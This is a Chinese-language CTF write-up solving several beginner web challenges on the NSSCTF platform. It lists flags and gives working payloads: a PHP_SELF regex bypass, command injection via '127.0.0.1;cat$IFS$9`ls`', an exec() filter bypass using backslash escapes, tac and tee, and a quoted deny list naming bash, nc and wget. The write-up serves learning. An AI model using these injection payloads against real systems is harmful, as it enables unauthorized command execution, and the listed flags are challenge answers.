NSSCTF平台:https://www.nssctf.cn/
PS:记得所有的flag
都改为NSSCTF
[NCTF 2018]签到题:
打开是一个search.php
查看源代码都没有找到flag,
最后在index.php
的响应头找到了!
NSSCTF{w3lc0m3_t0_nctf2018hhhhhhhhhhhh}
[鹤城杯 2021]EasyP:
<?php include 'utils.php'; if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if ($guess === $secret) { $message = 'Congratulations! The flag is: ' . $flag; } else { $message = 'Wrong. Try Again'; } } if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("hacker :)"); } if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){ exit("hacker :)"); } if (isset($_GET['show_source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); }else{ show_source(__FILE__); } ?>
分析一下代码$_SERVE[‘PHP_SELF’]
调用的脚本的路径
$_SERVER[‘REQUEST_URI’]
取得当前URI,也就是除域名外后面的完整的地址路径
basename
函数: 返回路径中的文件名部分。
现在需要绕过preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF']和正则 只要在php\后面加一个非ascll码就行比如汉字 由于preg_match正则匹配,我们不能直接输入show_source=‘’ 所以可以将show_source变为show[source
绕过preg_match正则方法是,在 index.php/utils.php后面添加一个非ascii表中的字符(很多都可以)
payload:/index.php/utils.php/巧克力?show[source=1
————————————————
NSSCTF{9ce4af3e-811f-49cd-a8f3-544efa897fb9}
[NSSCTF 2022 Spring Recruit]ezgame:
玩游戏65
分给你flag
(懒得玩)提示给的是js
所以我们找一下,在js/preload.js
中找到FLAG
。
NSSCTF{c0700f5b-604f-4b8f-b017-4be822fb5de6}
[GXYCTF 2019]Ping Ping Ping:
这题之前讲过可以参考链接:https://blog.csdn.net/Aluxian_/article/details/130053100?spm=1001.2014.3001.5501
Payload:?ip=127.0.0.1;cat$IFS$9`ls`
NSSCTF{8117affa-f16d-4085-b644-696ae9b83a2c}
[SWPUCTF 2021 新生赛]finalrce:
<?php highlight_file(__FILE__); if(isset($_GET['url'])) { $url=$_GET['url']; if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)) { echo "Sorry,you can't use this."; } else { echo "Can you see anything?"; exec($url); } }
preg_match
函数用于执行一个正则表达式匹配,这里看到基本上过滤了很多命令cat,ls
这种都不能使用了 可以使用tee
命令
由于ls
正则表达被过滤,所以我们还需要绕过preg_match
可以使用反斜杠(\)
转义字符
这里的tee
功能是从标准输入读取,再写入标准输出和文件 Payload:?url=l\s / |tee 1.txt
然后访问1.txt
看到flllllaaaaaaggggggg
tac
没有被过滤然后直接 构造Payload:?url=tac /flllll\aaaaaaggggggg | tee 9.txt (
记得|后面要空格)在访问9.txt
NSSCTF{9dccd221-4cd1-41f7-9feb-3c463839eb88}
[NISACTF 2022]checkin:
提示:尝试复制源码看看->010editor
识别到Unicode
特殊字符复制到VScode
中 复制下来URLencode
编码一下
Payload:?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF
NSSCTF{5359287b-d34e-4df8-ac95-1670f011cf2c}
[UUCTF 2022 新生赛]websign:
[GDOUCTF 2023]hate eat snake:
通过即可得到flag 或者先G几次 然后点取消,等六十秒左右,再按空格就会出flag
[HNCTF 2022 Week1]2048:
很经典的一个游戏了直接F12
查看源代码 找到js
进去查看alert()
输出复制到控制台运行即可。
NSSCTF{53160c888e25c3f828b23e316a7ae083}
[HDCTF 2023]Welcome To HDCTF 2023:
正常玩游戏 G了就会给FLAG,或者去js找,找到了一个JSFuck
编码解码即可。
NSSCTF{We13ome_t@_HDCTF_2o23}